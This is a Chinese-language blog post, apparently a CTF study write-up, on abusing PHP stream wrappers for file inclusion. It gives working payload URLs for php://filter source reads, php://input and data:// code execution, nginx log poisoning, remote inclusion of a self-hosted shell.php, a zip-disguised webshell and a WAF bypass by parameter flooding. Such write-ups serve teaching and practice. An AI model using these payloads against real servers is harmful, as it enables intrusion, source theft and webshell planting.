我的编程空间,编程开发者的网络收藏夹
学习永远不晚

PHP-伪协议

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

PHP-伪协议

  • 常用场景:文件包含 ,文本包含

常用的伪协议有

  • php://filter 读取文件源码 (协议可以对打开的数据流进行筛选和过滤,常用于读取文件源码)
  • php://input 任意代码执行;这种伪协议用于读取原始的 HTTP POST 数据,可以用于处理上传的文件和表单数据。
  • data://text/plain 任意代码执行
  • zip:// 配合文件上传开启后门

";echo "
";echo "
";echo "
";echo "
";include_once($file);?> flag 在flag.php中

 比如上面这个: ini_set(“allow_url_include”,”on”); 就可以利用

使用文件包含函数包含文件时,文件中的代码会被执行,如果想要读取文件源码,可以使用base64对文件内容进行编码,编码后的文件内容不会被执行,而是展示在页面中,我们将页面中的内容使用base64解码,就可以获取文件的源码了

例题1

以这个题为例:题目提示在flag.php当中,我们使用base64flag.php文件进行编码,可以看到页面中展示了编码后的文件内容,然后对返回结果base就行了

127.0.0.1/?file=php://filter/read=convert.base64-encode/resource=flag.php

例题2

127.0.0.1:28096/?filter=php://filter/convert.base64-encode/resource=flag.php

根据提示,访问flag.php 发现是空白的?其实这两题差不多都是一样的了,这里的变量是GET ‘filter’ 传参,因此就想到了伪协议文件包含,构造payload,然后返回base在解码就行了

php://input 可以访问请求的原始数据,配合文件包含漏洞可以将post请求体中的内容当做文件内容执行,从而实现任意代码执行,需要注意的是,当enctype=multipart/form-data时,php:/input将会无效

  • ?url=php://input        — GET请求参数中使用php://input协议
  •       — post请求体中的内容会被当做文件内容执行

例题1

访问是这个  看到了include函数,那我们就用,文件包含php://input这个伪协议

127.0.0.1/?url=php://input

记住这里是post传参,  

它返回  ctf_go_go_go index.php, 

我们构造  cat  访问这个路径,就找到了flag了 

例题2 

页面和上面一样,不过进行了过滤,返回错误。看数据包的话,是nginx,因此使用日志包含

查看日志信息,发现服务器是nginx;
通过查看请求头可以知道服务器为nginx,nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log,其中access.log可以打开。
在日志包含中,找到nginx的log有两种:

......?url=/var/log/nginx/access.log......?url=/var/log/nginx/error.log这里:?url=/var/log/nginx/access.log可以打开

进行日志注入

为了防止url编码,需要在burp中修改User-Agent

GET /?url=/var/log/nginx/access.log HTTP/1.1Host: 4509ff3b-f6af-4f36-8e9e-3e3a1c9842a6.challenge.ctf.showUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0 

写入,然后连接就行了;ctfshow{9dcfdfb9-02c4-4597-afd8-90074bb20784}

补充 

这里网上除了日志包含,还可以用远程文件包含方法;进行内网穿透,将端口映射到本地的80端口上,打开自己电脑上的服务器,将一句话文件写入,直接连接。相应的平台可参考 natappngrok蜻蜓映射

大概就是,当然如果你有自己的服务器的话也可以,在当中编写一句话(服务器已启动http协议,然后构造如下参数,就可以和上面一样愉快的连接拉

http://127.0.0.1/?url=http://xxx.xxx.xxx.xxx/shell.php

协议格式: data:资源类型;编码,内容

data://协议通过执行资源类型,使后面的内容当做文件内容来执行,从而造成任意代码执行

?url=data://text/plain,

实操

  //这里是构造成功的flag:NSSCTF{30590d16-19a2-454a-91d2-86c6e02ead2d}

这段 PHP 代码的作用是:接收一个名为 “cxk” 的 GET 参数,读取该参数指定的文件内容并与字符串 “ctrl” 进行比较。如果相等,则输出 $flag 的值;否则输出 “洗洗睡吧”。如果没有传递 “cxk” 参数,则输出 “nononoononoonono”。

根据代码审计以及file_get_contents读取文件内容函数我们可以知道我们需要传入一个文件,里面的内容是”CTRL“(苏珊)那我们就要利用data://伪协议

直接传入‘ctrl’不行,可能是过滤了,只能用base64加密传入,然后就可以了

127.0.0.1:28234/orzorz.php?cxk=data://text/plain;base64,Y3RybA==

zip://协议用来读取压缩包中的文件,可以配合文件上传开启后门,获取webshell

shell.txt压缩成zip,再将后缀名改为jpg上传至服务器,再通过zip伪协议访问压缩包里的文件,从而链接木马

?url=zip://shell.jpg
  • 这一题涉及三种伪协议,因此单独列了出来

读取文件源码

打开根据提示,”hint is hear Can you find out the hint.php?“让我们找到”hint.php”.首先想到了构造php://filter 读取文件源码,那我们就可以用第一个获取flag方式把他换成hint.php不就可以了吗

?url=php://filter/read=convert.base64-encode/resource=hint.php

返回base解码得到一个提示,然后我们访问 :test2222222222222.php 

接下来有两种解题方案

①和②都可以;这里连接的时候要用&a连接,别像我刚开始用”/“,

①任意代码执行php://input 

这里第一种构造用php://input  代码的意思$a是如果读取的内容等于字符串 “I want flag“,则输出 “success” 和一个名为 $flag 的变量的值

http://node2.anna.nssctf.cn:28656/index.php?wllm=test2222222222222.php&a=php://input

②任意代码执行data://

data:// 是一种伪协议,用于表示将数据内联嵌入到 URL 中。data:// 协议后面跟着标识数据格式的 MIME 类型和编码方式,可以将文本、图片、音频等数据编码为 Base64 格式,并直接嵌入到 URL 中。

data://本身是数据流封装器,其原理和用法跟php://input类似,但是是发送GET请求参数   &

url/test2222222222222.php&a=data://text/plain,I want flag

题目描述“一个普通的后门”,空白的没东西?

127.0.0.1:28380/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

file=伪协议?传一下看看base解码

发现可以执行命令,因为php的特性如果执行给N_S.S传参,那么N_S.S在后端会被规范成N_S_S  用N[S.S 传参,访问 phpinfo()

127.0.0.1:28380/?N[S.S=phpinfo();

打开用POST  ,构造伪协议,上传然后有waf,该怎末绕过呢?我看大佬们使用长语句绕过

1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&flag=php://filter/read=convert.base64-encode/resource=flag.php

或者用bp都一样,在解码就行了

来源地址:https://blog.csdn.net/IDHALASHAO/article/details/130368938

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

PHP-伪协议

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

2023-08-31
2023-09-03
2023-09-01

PHP伪协议基本原理介绍

这篇文章主要介绍了PHP伪协议,php中有很多封装协议,最常见的如file协议,php协议,data协议,zip和phar协议等等
2022-11-16

文件包含及PHP伪协议怎么用

今天小编给大家分享一下文件包含及PHP伪协议怎么用的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来了解一下吧。文件包含文件包含漏洞是“代码
2023-06-30

怎么使用php伪协议实现命令执行

今天小编给大家分享一下怎么使用php伪协议实现命令执行的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来了解一下吧。1.file://协议条
2023-07-02

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录